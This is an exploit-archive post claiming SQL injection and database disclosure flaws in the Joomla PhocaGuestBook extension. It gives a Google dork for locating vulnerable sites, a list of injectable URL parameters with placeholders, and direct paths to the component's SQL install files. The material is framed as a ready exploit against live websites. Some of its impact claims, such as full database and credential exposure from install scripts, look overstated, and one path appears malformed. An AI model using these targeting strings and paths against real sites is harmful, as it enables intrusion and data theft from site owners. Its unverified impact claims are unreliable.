Joomla PhocaGuestBook 3.0.8 Database Disclosure / SQL Injection

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# Exploit Title : Joomla PhocaGuestBook 3.0.8 SQL Injection / Database Disclosure  
# Author [ Discovered By ] : KingSkrupellos  
# Team : Cyberizm Digital Security Army  
# Date : 12/02/2019  
# Vendor Homepage : phoca.cz/phocaguestbook  
# Software Download Link : phoca.cz/download/category/5-phoca-guestbook-component  
github.com/PhocaCz/PhocaGuestbook/  
# Software Information Link : extensions.joomla.org/extension/phoca-guestbook/  
# Software Affected Versions : 1.4.5 - 1.5.3 - 2.0.2 - 2.0.7 - 3.0.2 - 3.0.5 - 3.0.6 - 3.0.8  
# Software Technical Requirements : Joomla! 1.5. Joomla! 2.5, Joomla! 3.x (stable or any later version)  
PHP 4, 5 (or any later version) with GD library (graphics library for CAPTCHA creation)  
# Tested On : Windows and Linux  
# Category : WebApps  
# Exploit Risk : Medium  
# Google Dorks : inurl:''/index.php?option=com_phocaguestbook''  
# Vulnerability Type : CWE-89 [ Improper Neutralization of   
Special Elements used in an SQL Command ('SQL Injection') ]  
CWE-200 [ Information Exposure ]  
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968  
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/  
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos  
  
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# Description about Software :  
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Phoca Guestbook is Joomla! CMS extension. Component which displays guestbook   
  
and its entries on website. Phoca Guestbook is a Joomla! component.   
  
It is a guestbook with Anti-Spam protection which can be used as guestbook   
  
or contact form. Contact form is protected by Anti-Spam methods and emails   
  
with contact content can be sent to selected user.  
  
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# Impact :  
***********  
* Joomla PhocaGuestBook 3.0.8 and other versions -   
  
component for Joomla is prone to an SQL-injection vulnerability because it   
  
fails to sufficiently sanitize user-supplied data before using it in an SQL query.   
  
Exploiting this issue could allow an attacker to compromise the application,   
  
access or modify data, or exploit latent vulnerabilities in the underlying database.  
  
A remote attacker can send a specially crafted request to the vulnerable application   
  
and execute arbitrary SQL commands in application`s database.  
  
Further exploitation of this vulnerability may result in unauthorized data manipulation.  
  
An attacker can exploit this issue using a browser.  
  
* This Software prone to an information exposure/database disclosure vulnerability.   
  
Successful exploits of this issue may allow an attacker to obtain sensitive   
  
information by downloading the full contents of the application's database.  
  
* Any remote user may download the database files and gain access  
  
to sensitive information including unencrypted authentication credentials.  
  
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# SQL Injection Exploit :  
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/index.php?option=com_phocaguestbook&view=[SQL Injection]  
  
/index.php?option=com_phocaguestbook&id=[SQL Injection]  
  
/index.php?option=com_phocaguestbook&view=phocaguestbook&id=[SQL Injection]  
  
/index.php?option=com_phocaguestbook&view=phocaguestbook&id=[ID-NUMBER]&Itemid=[SQL Injection]  
  
/index.php?option=com_phocaguestbook&view=guestbooki&id=[ID-NUMBER]&Itemid=[ID-NUMBER]&phocasid=[SQL Injection]  
  
/index.php?option=com_phocaguestbook&view=phocaguestbook&id=[ID-NUMBER]&Itemid=[ID-NUMBER]&limitstart=[SQL Injection]  
  
# Database Disclosure Exploit :  
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/administrator/components/com_phocaguestbook/install.sql  
  
/administrator/components/com_phocaguestbook/uninstall.sql  
  
/administrator/components/com_phocaguestbookinstall/sql/mysql/install.utf8.sql  
  
/administrator/components/com_phocaguestbookinstall/sql/mysql/uninstall.utf8.sql  
  
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# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team   
  
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